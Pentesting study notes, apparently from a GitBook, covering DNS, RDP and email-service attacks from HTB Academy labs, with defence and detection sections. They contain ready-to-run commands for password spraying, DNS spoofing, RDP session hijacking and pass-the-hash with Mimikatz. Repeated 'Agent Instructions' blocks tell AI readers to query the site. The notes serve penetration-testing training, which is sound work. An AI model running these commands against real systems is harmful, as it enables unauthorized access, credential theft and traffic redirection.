  • Hash capture - xp_dirtree, xp_subdirs SMB attacks
  • Privilege escalation - User impersonation, role escalation
  • Lateral movement - Linked servers, network pivoting
  • Persistence - Backdoor accounts, scheduled jobs

πŸ›‘οΈ Defense & Detection

Security Hardening

  • Disable xp_cmdshell and dangerous stored procedures
  • Implement least privilege database access
  • Use strong authentication and password policies
  • Network segmentation for database servers
  • Regular security updates and patches

Detection Strategies

  • Monitor xp_cmdshell usage and command execution
  • Alert on file operations (LOAD_FILE, INTO OUTFILE)
  • Track authentication failures and unusual login patterns
  • Monitor SMB connections from database servers
  • Log impersonation activities and privilege changes


This document provides comprehensive SQL database attack methodologies based on HTB Academy’s β€œAttacking Common Services” module, focusing on practical exploitation techniques for penetration testing and security assessment.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/attacking-common-services/sql-attacks.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

DNS Attacks

🎯 Overview

This document covers exploitation techniques against DNS services, focusing on practical attack methodologies from HTB Academy’s β€œAttacking Common Services” module. DNS attacks can lead to information disclosure, domain takeover, traffic redirection, and man-in-the-middle attacks.
β€œThe Domain Name System (DNS) translates domain names (e.g., hackthebox.com) to the numerical IP addresses (e.g., 104.17.42.72). Since nearly all network applications use DNS, attacks against DNS servers represent one of the most prevalent and significant threats today.”

πŸ—οΈ DNS Attack Methodology

Attack Chain Overview

Service Discovery β†’ Zone Transfer Exploitation β†’ Subdomain Enumeration β†’ Domain Takeover β†’ DNS Spoofing

Key Attack Objectives

  • DNS zone transfers for information gathering
  • Subdomain enumeration to expand attack surface
  • Domain/subdomain takeover for content control
  • DNS cache poisoning for traffic redirection
  • DNS spoofing for man-in-the-middle attacks

πŸ“ Service Discovery & Enumeration

Default DNS Port Detection

# Default DNS ports: UDP/53, TCP/53
# HTB Academy enumeration example
nmap -p53 -Pn -sV -sC 10.10.110.213

# Expected output
PORT    STATE  SERVICE     VERSION
53/tcp  open   domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)

Comprehensive DNS Scanning

# Full DNS service enumeration
nmap -p53 -sU -sV --script dns-* 10.10.110.213

# DNS version detection
nmap -p53 --script dns-nsid 10.10.110.213

# DNS recursion check
nmap -p53 --script dns-recursion 10.10.110.213

Key Information to Extract

  • DNS server software (BIND, Microsoft DNS, etc.)
  • Version information for vulnerability research
  • Zone information (SOA records)
  • Recursion capabilities
  • DNS security features (DNSSEC status)

πŸ—„οΈ DNS Zone Transfer Attacks

Understanding Zone Transfers

DNS Zone Transfer = Copy of DNS database from one server to another
Default behavior: No authentication required
Risk: Complete DNS namespace disclosure
Protocol: Uses TCP/53 for reliable transmission

HTB Academy Zone Transfer Example

Using DIG for AXFR

# HTB Academy zone transfer attack
dig AXFR @ns1.inlanefreight.htb inlanefreight.htb

# Expected successful output
; <<>> DiG 9.11.5-P1-1-Debian <<>> axfr inlanefrieght.htb @10.129.110.213
;; global options: +cmd
inlanefrieght.htb.         604800  IN      SOA     localhost. root.localhost. 2 604800 86400 2419200 604800
inlanefrieght.htb.         604800  IN      AAAA    ::1
inlanefrieght.htb.         604800  IN      NS      localhost.
inlanefrieght.htb.         604800  IN      A       10.129.110.22
admin.inlanefrieght.htb.   604800  IN      A       10.129.110.21
hr.inlanefrieght.htb.      604800  IN      A       10.129.110.25
support.inlanefrieght.htb. 604800  IN      A       10.129.110.28
inlanefrieght.htb.         604800  IN      SOA     localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 28 msec
;; SERVER: 10.129.110.213#53(10.129.110.213)
;; WHEN: Mon Oct 11 17:20:13 EDT 2020
;; XFR size: 8 records (messages 1, bytes 289)

Alternative Zone Transfer Methods

# Using nslookup
nslookup
> server ns1.inlanefreight.htb
> set type=any
> ls -d inlanefreight.htb

# Using host command
host -t axfr inlanefreight.htb ns1.inlanefreight.htb

# Using dnsrecon
dnsrecon -d inlanefreight.htb -t axfr

Fierce for Comprehensive DNS Analysis

# HTB Academy Fierce example
fierce --domain zonetransfer.me

# Expected rich output
NS: nsztm2.digi.ninja. nsztm1.digi.ninja.
SOA: nsztm1.digi.ninja. (81.4.108.41)
Zone: success
{<DNS name @>: '@ 7200 IN SOA nsztm1.digi.ninja. robin.digi.ninja. 2019100801 '
               '172800 900 1209600 3600\n'
               '@ 300 IN HINFO "Casio fx-700G" "Windows XP"\n'
               '@ 301 IN TXT '
               '"google-site-verification=tyP28J7JAUHA9fw2sHXMgcCC0I6XBmmoVi04VlMewxA"\n'
               '@ 7200 IN MX 0 ASPMX.L.GOOGLE.COM.\n'
 <DNS name _acme-challenge>: '_acme-challenge 301 IN TXT '
                             '"6Oa05hbUJ9xSsvYy7pApQvwCUSSGgxvrbdizjePEsZI"',
 <DNS name cmdexec>: 'cmdexec 300 IN TXT "; ls"',
 <DNS name contact>: 'contact 2592000 IN TXT "Remember to call or email Pippa '
                     'on +44 123 4567890 or pippa@zonetransfer.me when making '
                     'DNS changes"',
 <DNS name email>: 'email 2222 IN NAPTR 1 1 "P" "E2U+email" "" '
                   'email.zonetransfer.me\n'
                   'email 7200 IN A 74.125.206.26',

πŸ” Subdomain Enumeration & Domain Takeover

Subdomain Discovery Techniques

HTB Academy Subfinder Example

# Subdomain enumeration with Subfinder
./subfinder -d inlanefreight.com -v

# Expected output
        _     __ _         _                                           
____  _| |__ / _(_)_ _  __| |___ _ _          
(_-< || | '_ \  _| | ' \/ _  / -_) '_|                 
/__/\_,_|_.__/_| |_|_||_\__,_\___|_| v2.4.5                                                                                                                                                                                                                                                 
                projectdiscovery.io                    

[INF] Enumerating subdomains for inlanefreight.com
[alienvault] www.inlanefreight.com
[dnsdumpster] ns1.inlanefreight.com
[dnsdumpster] ns2.inlanefreight.com
[bufferover] support.inlanefreight.com
[INF] Found 4 subdomains for inlanefreight.com in 20 seconds 11 milliseconds

Subbrute for Internal Networks

# HTB Academy Subbrute setup for internal use
git clone https://github.com/TheRook/subbrute.git
cd subbrute
echo "ns1.inlanefreight.com" > ./resolvers.txt

# DNS brute-forcing with custom resolvers
./subbrute inlanefreight.com -s ./names.txt -r ./resolvers.txt

# Output shows discovered subdomains
Warning: Fewer than 16 resolvers per process, consider adding more nameservers to resolvers.txt.
inlanefreight.com
ns2.inlanefreight.com
www.inlanefreight.com
ms1.inlanefreight.com
support.inlanefreight.com

Domain Takeover Attacks

Understanding Subdomain Takeover

CNAME Record: sub.target.com β†’ anotherdomain.com
Risk: If anotherdomain.com expires and is re-registered
Result: Attacker controls sub.target.com content
Common Targets: AWS S3, GitHub Pages, Heroku, Fastly

HTB Academy Takeover Example

# Check for vulnerable CNAME records
host support.inlanefreight.com

# Vulnerable response
support.inlanefreight.com is an alias for inlanefreight.s3.amazonaws.com

# Test for takeover vulnerability
curl https://support.inlanefreight.com

# Error indicating potential takeover
<Error>
<Code>NoSuchBucket</Code>
<Message>The specified bucket 'inlanefreight' does not exist</Message>
</Error>

Subdomain Takeover Detection Tools

# Using SubOver
python3 subover.py -l subdomains.txt

# Using can-i-take-over-xyz repository guidelines
# Check: https://github.com/EdOverflow/can-i-take-over-xyz

# Common vulnerable services:
# - AWS S3 buckets
# - GitHub Pages
# - Heroku apps
# - Azure websites
# - Fastly CDN

πŸ•·οΈ DNS Spoofing & Cache Poisoning

Understanding DNS Cache Poisoning

Goal: Alter legitimate DNS records with false information
Methods: 
  1. MITM attacks intercepting DNS traffic
  2. DNS server vulnerabilities exploitation
  3. Local network cache poisoning
Result: Traffic redirection to malicious servers

HTB Academy Ettercap DNS Spoofing

Step 1: Configure DNS Spoofing

# Edit Ettercap DNS configuration
cat /etc/ettercap/etter.dns

# Add spoofing entries
inlanefreight.com      A   192.168.225.110
*.inlanefreight.com    A   192.168.225.110

Step 2: Execute MITM Attack

# Launch Ettercap GUI
ettercap -G

# Steps in Ettercap:
# 1. Hosts > Scan for Hosts
# 2. Add target IP (192.168.152.129) to Target1
# 3. Add gateway IP (192.168.152.2) to Target2
# 4. Plugins > Manage Plugins > dns_spoof

Step 3: Verify DNS Spoofing

# From victim machine (192.168.152.129)
C:\>ping inlanefreight.com

Pinging inlanefreight.com [192.168.225.110] with 32 bytes of data:
Reply from 192.168.225.110: bytes=32 time<1ms TTL=64
Reply from 192.168.225.110: bytes=32 time<1ms TTL=64

# Browser test shows fake page hosted on 192.168.225.110

Alternative DNS Spoofing Tools

# Using Bettercap
bettercap -iface eth0

# Bettercap commands
> set dns.spoof.domains inlanefreight.com
> set dns.spoof.address 192.168.225.110
> dns.spoof on
> arp.spoof on

# Using dnsmasq for local spoofing
echo "192.168.225.110 inlanefreight.com" >> /etc/dnsmasq_spoof.conf
dnsmasq --conf-file=/etc/dnsmasq_spoof.conf

🎯 HTB Academy Lab Scenarios

Scenario 1: DNS Zone Transfer Exploitation

Task: Find all DNS records for β€œinlanefreight.htb” domain and submit flag found as DNS record

HTB Academy Solution Workflow

Step 1: Setup Subbrute Tool
# Clone subbrute repository
git clone https://github.com/TheRook/subbrute.git && cd subbrute/

# Expected output
Cloning into 'subbrute'...
remote: Enumerating objects: 438, done.
remote: Total 438 (delta 0), reused 0 (delta 0), pack-reused 438
Receiving objects: 100% (438/438), 11.85 MiB | 20.67 MiB/s, done.
Resolving deltas: 100% (216/216), done.
Step 2: Configure DNS Resolver
# Add target DNS server IP to resolvers file
echo STMIP > resolvers.txt

# Replace STMIP with actual target IP (e.g., 10.129.137.154)
Step 3: Subdomain Enumeration
# Use subbrute with SecLists wordlist
python3 subbrute.py inlanefreight.htb -s /opt/useful/SecLists/Discovery/DNS/namelist.txt -r resolvers.txt

# Expected output
Warning: Fewer than 16 resolvers per process, consider adding more nameservers to resolvers.txt.
inlanefreight.htb
helpdesk.inlanefreight.htb
hr.inlanefreight.htb
ns.inlanefreight.htb
Step 4: Zone Transfer on Discovered Subdomains
# Perform zone transfer on hr subdomain and search for TXT records
dig axfr hr.inlanefreight.htb @10.129.137.154 | grep "TXT"

# Successful flag extraction
hr.inlanefreight.htb.	604800	IN	TXT	"HTB{...}"

Alternative Methods

# Method 1: Direct zone transfer
dig AXFR @target_dns_server inlanefreight.htb

# Method 2: Using fierce
fierce --domain inlanefreight.htb

# Method 3: Using dnsrecon
dnsrecon -d inlanefreight.htb -t axfr

# Method 4: Check all discovered subdomains
for sub in helpdesk hr ns; do
    echo "=== Checking $sub.inlanefreight.htb ==="
    dig AXFR @target_dns_server $sub.inlanefreight.htb
done

Advanced DNS Reconnaissance

# Enumerate all record types
dig ANY @target_dns_server inlanefreight.htb

# Check for specific record types
dig TXT @target_dns_server inlanefreight.htb
dig MX @target_dns_server inlanefreight.htb
dig NS @target_dns_server inlanefreight.htb
dig PTR @target_dns_server inlanefreight.htb

# Brute force subdomains
gobuster dns -d inlanefreight.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt

# Check for zone transfer on discovered subdomains
for sub in $(cat discovered_subdomains.txt); do
    dig AXFR @target_dns_server $sub.inlanefreight.htb
done

πŸ“‹ DNS Attack Checklist

Discovery & Enumeration

  • Port scanning - UDP/53 and TCP/53 detection
  • Version enumeration - DNS server software identification
  • Zone transfer testing - AXFR query attempts
  • Recursion testing - DNS resolver configuration
  • DNSSEC validation - Security feature assessment

Information Gathering

  • Subdomain enumeration - Subfinder, Subbrute, Gobuster
  • DNS record analysis - A, AAAA, CNAME, MX, TXT, NS records
  • Reverse DNS lookup - PTR record enumeration
  • DNS cache snooping - Cached record identification
  • DNS walking - NSEC record exploitation

Exploitation Techniques

  • Zone transfer exploitation - Complete DNS data extraction
  • Subdomain takeover - CNAME record vulnerability assessment
  • DNS cache poisoning - MITM attack implementation
  • DNS tunneling - Covert channel establishment
  • DNS amplification - DDoS attack potential

Post-Exploitation

  • Traffic monitoring - DNS query analysis
  • Persistent spoofing - Long-term redirection
  • Credential harvesting - Fake login page hosting
  • Lateral movement - Internal DNS server targeting

πŸ›‘οΈ Defense & Mitigation

DNS Server Hardening

  • Disable zone transfers - Restrict AXFR to authorized servers only
  • Enable DNSSEC - Cryptographic DNS response validation
  • Implement access controls - IP-based query restrictions
  • Regular updates - Patch DNS server software
  • Rate limiting - Prevent DNS amplification attacks

Network Security

  • DNS filtering - Block malicious domains
  • Encrypted DNS - DNS over HTTPS (DoH) or DNS over TLS (DoT)
  • Split DNS - Separate internal and external DNS
  • DNS monitoring - Unusual query pattern detection
  • Cache poisoning protection - Source port randomization

Monitoring & Detection

  • Zone transfer attempts - Log AXFR queries
  • Unusual DNS queries - Detect reconnaissance patterns
  • DNS response validation - Monitor for spoofed responses
  • Subdomain monitoring - Track new subdomain creation
  • Certificate transparency - Monitor SSL certificate logs


πŸ“š References

  • HTB Academy - Attacking Common Services Module
  • RFC 1035 - Domain Names Implementation and Specification
  • OWASP DNS Security - DNS attack vectors and mitigations
  • Subfinder Documentation - Subdomain discovery tool
  • Ettercap Manual - MITM attack framework
  • can-i-take-over-xyz - Subdomain takeover reference

This document provides comprehensive DNS attack methodologies based on HTB Academy’s β€œAttacking Common Services” module, focusing on practical exploitation techniques for penetration testing and security assessment.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/attacking-common-services/dns-attacks.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

RDP Attacks

🎯 Overview

This document covers exploitation techniques against RDP services, focusing on practical attack methodologies from HTB Academy’s β€œAttacking Common Services” module. RDP attacks can lead to unauthorized remote access, privilege escalation, session hijacking, and lateral movement.
β€œRemote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft which provides a user with a graphical interface to connect to another computer over a network connection. Unfortunately, while RDP greatly facilitates remote administration of distributed IT systems, it also creates another gateway for attacks.”

πŸ—οΈ RDP Attack Methodology

Attack Chain Overview

Service Discovery β†’ Authentication Attacks β†’ Session Exploitation β†’ Privilege Escalation β†’ Lateral Movement

Key Attack Objectives

  • Password spraying to avoid account lockouts
  • Session hijacking for privilege escalation
  • Pass-the-Hash attacks with NT hashes
  • GUI access to Windows systems
  • Credential dumping from RDP sessions

πŸ“ Service Discovery & Enumeration

Default RDP Port Detection

# Default RDP port: TCP/3389
# HTB Academy enumeration example
nmap -Pn -p3389 192.168.2.143

# Expected output
PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Advanced RDP Scanning

# Comprehensive RDP scan with scripts
nmap -Pn -sV -sC -p3389 192.168.2.143

# RDP version detection
nmap -p3389 --script rdp-ntlm-info 192.168.2.143

# Check for common vulnerabilities
nmap -p3389 --script rdp-vuln-* 192.168.2.143

Key Information to Extract

  • RDP service version (Windows version identification)
  • Authentication methods supported
  • Certificate information (self-signed vs CA)
  • Encryption levels available
  • Domain membership status

βš”οΈ Authentication Attacks

1. Password Spraying Attacks

Why Password Spraying?

Traditional brute force: Risk of account lockout
Password spraying: Single password against multiple users
Goal: Avoid triggering password policy restrictions

HTB Academy Username List

# Create username list
cat > usernames.txt << EOF
root
test
user
guest
admin
administrator
EOF

2. Crowbar Password Spraying

Basic Crowbar Usage

# HTB Academy example - single password against user list
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'

# Expected successful output
2022-04-07 15:35:50 START
2022-04-07 15:35:50 Crowbar v0.4.1
2022-04-07 15:35:50 Trying 192.168.220.142:3389
2022-04-07 15:35:52 RDP-SUCCESS : 192.168.220.142:3389 - administrator:password123
2022-04-07 15:35:52 STOP

Advanced Crowbar Options

# Target multiple hosts
crowbar -b rdp -s 192.168.1.0/24 -U usernames.txt -c 'Spring2024!'

# Specify custom port
crowbar -b rdp -s 192.168.1.100:3390 -U usernames.txt -c 'password123'

# Multiple passwords (careful with lockouts)
crowbar -b rdp -s 192.168.1.100 -U usernames.txt -C passwords.txt

3. Hydra Password Spraying

HTB Academy Hydra Example

# Single password against username list
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

# Expected output
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover
[INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections)
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8 login tries (l:2/p:4), ~2 tries per task
[DATA] attacking rdp://192.168.2.147:3389/
[3389][rdp] host: 192.168.2.143   login: administrator   password: password123
1 of 1 target successfully completed, 1 valid password found

Optimized Hydra Commands

# Reduced connections to avoid detection
hydra -L usernames.txt -p 'password123' -t 1 -W 3 192.168.2.143 rdp

# Multiple targets with delay
hydra -L usernames.txt -p 'Spring2024!' -M targets.txt -t 4 -W 5 rdp

# Custom port scanning
hydra -L usernames.txt -p 'password123' -s 3390 192.168.1.100 rdp

πŸ”— RDP Connection Methods

1. rdesktop Client

# HTB Academy connection example
rdesktop -u admin -p password123 192.168.2.143

# Expected certificate warning
ATTENTION! The server uses an invalid security certificate which can not be trusted for
the following identified reasons(s);

 1. Certificate issuer is not trusted by this system.
     Issuer: CN=WIN-Q8F2KTAI43A

Do you trust this certificate (yes/no)? yes

rdesktop Advanced Options

# Full screen connection
rdesktop -u administrator -p password123 -f 192.168.2.143

# Custom resolution
rdesktop -u admin -p password123 -g 1920x1080 192.168.2.143

# Enable sound and clipboard
rdesktop -u admin -p password123 -r sound:local -r clipboard:PRIMARYCLIPBOARD 192.168.2.143

2. xfreerdp Client

# Modern FreeRDP connection
xfreerdp /u:administrator /p:password123 /v:192.168.2.143

# With additional features
xfreerdp /u:admin /p:password123 /v:192.168.2.143 /dynamic-resolution /clipboard

# Ignore certificate errors
xfreerdp /u:admin /p:password123 /v:192.168.2.143 /cert-ignore

πŸ‘€ Protocol Specific Attacks

1. RDP Session Hijacking

Attack Prerequisites

βœ… Local Administrator privileges on target machine
βœ… Another user connected via RDP
βœ… SYSTEM-level access capability
βœ… Windows Server 2016 or earlier (patched in 2019)

HTB Academy Session Hijacking Example

Step 1: Identify Active Sessions
# Query current RDP sessions
C:\htb> query user

 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
>juurena               rdp-tcp#13          1  Active          7  8/25/2021 1:23 AM
 lewen                 rdp-tcp#14          2  Active          *  8/25/2021 1:28 AM
Step 2: Create Hijacking Service
# Create Windows service for session hijacking
C:\htb> sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"

[SC] CreateService SUCCESS
Step 3: Execute Session Hijack
# Start the hijacking service
C:\htb> net start sessionhijack

# Result: New terminal opens with hijacked user session (lewen)

Alternative Hijacking Methods

# Direct tscon usage (requires SYSTEM privileges)
C:\htb> tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}

# Using PsExec for SYSTEM privileges
psexec -s cmd.exe
tscon 2 /dest:rdp-tcp#13

# Using Mimikatz for privilege escalation
privilege::debug
token::elevate

2. RDP Pass-the-Hash (PtH) Attack

Attack Prerequisites & Limitations

⚠️  Restricted Admin Mode must be enabled
⚠️  Only works with NT hashes (not NTLMv2)
⚠️  Target must allow RDP connections
⚠️  User must have RDP rights on target

Enable Restricted Admin Mode

# HTB Academy registry modification
C:\htb> reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

# Verify registry key creation
reg query HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin

HTB Academy PtH Execution

# Pass-the-Hash with xfreerdp
xfreerdp /v:192.168.220.152 /u:lewen /pth:300FF5E89EF33F83A8146C10F5AB9BB9

# Expected connection output
[09:24:10:115] [1668:1669] [INFO][com.freerdp.core] - freerdp_connect:freerdp_set_last_error_ex resetting error state
[09:24:10:115] [1668:1669] [INFO][com.freerdp.client.common.cmdline] - loading channelEx rdpdr
[09:24:11:464] [1668:1669] [WARN][com.freerdp.crypto] - Certificate verification failure 'self signed certificate (18)' at stack position 0
[09:24:11:567] [1668:1669] [INFO][com.winpr.sspi.NTLM] - negotiateFlags "0xE2898235"

# Successful connection results in GUI access as target user

Alternative PtH Tools

# Using rdesktop with hash (if supported)
rdesktop -u lewen -p "" -d domain --hash 300FF5E89EF33F83A8146C10F5AB9BB9 192.168.220.152

# Using Mimikatz for PtH (Windows)
sekurlsa::pth /user:lewen /domain:corp /ntlm:300FF5E89EF33F83A8146C10F5AB9BB9 /run:"mstsc /v:192.168.220.152"

🎯 HTB Academy Lab Scenarios

Scenario 1: Initial RDP Access

# Target: 10.129.203.13 (ACADEMY-ATTCOMSVC-WIN-01)
# Credentials: htb-rdp:HTBRocks!

# Connect using provided credentials
rdesktop -u htb-rdp -p HTBRocks! 10.129.203.13
# or
xfreerdp /u:htb-rdp /p:HTBRocks! /v:10.129.203.13

# Task: Find file on Desktop
# Answer: pentest-notes.txt

Scenario 2: Registry Key Knowledge

# Question: Which registry key needs to be changed to allow Pass-the-Hash with RDP?
# Answer: DisableRestrictedAdmin

# Registry path: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
# Value: DisableRestrictedAdmin (REG_DWORD) = 0x0

Scenario 3: Administrator Access

# Task: Connect via RDP with Administrator account and find flag.txt

# Potential attack vectors:
# 1. Password spraying against Administrator account
crowbar -b rdp -s 10.129.203.13 -u administrator -C passwords.txt

# 2. Pass-the-Hash if NT hash is available
xfreerdp /v:10.129.203.13 /u:administrator /pth:HASH_VALUE

# 3. Session hijacking if another admin is logged in
# Look for flag.txt in common locations:
# - C:\flag.txt
# - C:\Users\Administrator\Desktop\flag.txt
# - C:\Users\Administrator\Documents\flag.txt

πŸ“‹ RDP Attack Checklist

Discovery & Enumeration

  • Port scanning - TCP/3389 detection
  • Version enumeration - Windows version identification
  • Certificate analysis - Self-signed vs CA certificates
  • Domain membership - Standalone vs domain-joined

Authentication Attacks

  • Default credentials - administrator:password, admin:admin
  • Password spraying - Single password, multiple users
  • Common passwords - Spring2024!, Password123, company name
  • Seasonal passwords - Current year/month variations

Post-Authentication

  • Session enumeration - Active RDP sessions
  • User privilege checking - Local admin rights
  • Session hijacking - Target high-privilege users
  • Hash dumping - Extract NT hashes for PtH

Advanced Techniques

  • Pass-the-Hash - Registry modification required
  • Kerberoasting - Service account targeting
  • Golden/Silver tickets - Kerberos ticket attacks
  • Lateral movement - RDP to other systems

πŸ›‘οΈ Defense & Mitigation

RDP Security Hardening

  • Network Level Authentication (NLA) - Enable for all RDP connections
  • Strong password policies - Prevent common password usage
  • Account lockout policies - Limit failed login attempts
  • IP restrictions - Whitelist authorized source IPs
  • Non-standard ports - Change from default 3389
  • VPN requirements - Require VPN for RDP access

Registry Security

  • Disable Restricted Admin - Prevent Pass-the-Hash attacks
  • Audit registry changes - Monitor security-related modifications
  • Group Policy controls - Centralized RDP security settings

Monitoring & Detection

  • Failed authentication logs - Event ID 4625 monitoring
  • Successful RDP logins - Event ID 4624 tracking
  • Session creation/termination - Event ID 4778/4779
  • Unusual source IPs - Geographic/time-based anomalies
  • Registry modifications - Monitor Lsa registry changes


πŸ“š References

  • HTB Academy - Attacking Common Services Module
  • Microsoft RDP Documentation - Official protocol specifications
  • Crowbar Tool - RDP password spraying utility
  • FreeRDP Project - Open-source RDP implementation
  • NIST Guidelines - Remote access security best practices

This document provides comprehensive RDP attack methodologies based on HTB Academy’s β€œAttacking Common Services” module, focusing on practical exploitation techniques for penetration testing and security assessment.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/attacking-common-services/rdp-attacks.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Email Services Attacks

🎯 Overview

This document covers exploitation techniques against Email Services (SMTP/POP3/IMAP), focusing on practical attack methodologies from HTB Academy’s β€œAttacking Common Services” module. Email attacks can lead to user enumeration, mail relay abuse, credential harvesting, and email-based social engineering.
β€œA mail server handles and delivers email over a network, usually over the Internet. Email servers are complex and usually require us to enumerate multiple servers, ports, and services. Most companies today have their email services in the cloud with services such as Microsoft 365 or G-Suite.”

πŸ—οΈ SMTP Attack Methodology

Attack Chain Overview

Service Discovery β†’ User Enumeration β†’ Mail Relay Testing β†’ Credential Attacks β†’ Social Engineering

Key Attack Objectives

  • User enumeration via SMTP commands
  • Mail relay abuse for spam/phishing
  • Credential harvesting through SMTP authentication
  • Information disclosure via SMTP banners
  • Social engineering using email spoofing

πŸ“ Service Discovery & Enumeration

MX Record Enumeration

HTB Academy MX Record Examples

# Check MX records to identify mail servers
host -t MX hackthebox.eu
# hackthebox.eu mail is handled by 1 aspmx.l.google.com.

host -t MX microsoft.com
# microsoft.com mail is handled by 10 microsoft-com.mail.protection.outlook.com.

# Using dig for detailed MX information
dig mx plaintext.do | grep "MX" | grep -v ";"
# plaintext.do.           7076    IN      MX      50 mx3.zoho.com.
# plaintext.do.           7076    IN      MX      10 mx.zoho.com.
# plaintext.do.           7076    IN      MX      20 mx2.zoho.com.

dig mx inlanefreight.com | grep "MX" | grep -v ";"
# inlanefreight.com.      300     IN      MX      10 mail1.inlanefreight.com.

# Get A record for mail server
host -t A mail1.inlanefreight.htb
# mail1.inlanefreight.htb has address 10.129.14.128

Cloud vs Custom Mail Servers

Cloud Services:
- aspmx.l.google.com (G-Suite)
- microsoft-com.mail.protection.outlook.com (Microsoft 365)
- mx.zoho.com (Zoho)

Custom Mail Servers:
- mail1.inlanefreight.com (Company-hosted)

Email Service Port Enumeration

HTB Academy Complete Port List

# All email-related ports
sudo nmap -Pn -sV -sC -p25,143,110,465,587,993,995 10.129.14.128

# Expected output
PORT   STATE SERVICE VERSION
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: mail1.inlanefreight.htb, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 

Email Service Ports Reference

TCP/25    - SMTP Unencrypted
TCP/143   - IMAP4 Unencrypted  
TCP/110   - POP3 Unencrypted
TCP/465   - SMTP Encrypted
TCP/587   - SMTP Encrypted/STARTTLS
TCP/993   - IMAP4 Encrypted
TCP/995   - POP3 Encrypted

Key Information to Extract

  • Mail server type (Cloud vs Custom implementation)
  • SMTP server software (Postfix, Sendmail, Exchange)
  • Version information for vulnerability research
  • Supported authentication methods
  • Mail relay configuration
  • Domain information from banners

πŸ‘₯ User Enumeration Attacks

SMTP User Enumeration Commands

VRFY Command (HTB Academy Example)

# HTB Academy VRFY enumeration
telnet 10.10.110.20 25

Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)

VRFY root
252 2.0.0 root

VRFY www-data
252 2.0.0 www-data

VRFY new-user
550 5.1.1 <new-user>: Recipient address rejected: User unknown in local recipient table

EXPN Command (HTB Academy Example)

# HTB Academy EXPN enumeration
telnet 10.10.110.20 25

Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)

EXPN john
250 2.1.0 john@inlanefreight.htb

EXPN support-team
250 2.0.0 carol@inlanefreight.htb
250 2.1.5 elisa@inlanefreight.htb

RCPT TO Command (HTB Academy Example)

# HTB Academy RCPT TO enumeration
telnet 10.10.110.20 25

Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)

MAIL FROM:test@htb.com
250 2.1.0 test@htb.com... Sender ok

RCPT TO:julio
550 5.1.1 julio... User unknown

RCPT TO:kate
550 5.1.1 kate... User unknown

RCPT TO:john
250 2.1.5 john... Recipient ok

POP3 User Enumeration (HTB Academy Example)

# HTB Academy POP3 USER command enumeration
telnet 10.10.110.20 110

Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
+OK POP3 Server ready

USER julio
-ERR

USER john
+OK

HTB Academy User Enumeration Example

Using smtp-user-enum Tool (HTB Academy Example)

# HTB Academy comprehensive enumeration example
smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.203.7

Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Mode ..................... RCPT
Worker Processes ......... 5
Usernames file ........... userlist.txt
Target count ............. 1
Username count ........... 78
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............ inlanefreight.htb

######## Scan started at Thu Apr 21 06:53:07 2022 #########
10.129.203.7: jose@inlanefreight.htb exists
10.129.203.7: pedro@inlanefreight.htb exists
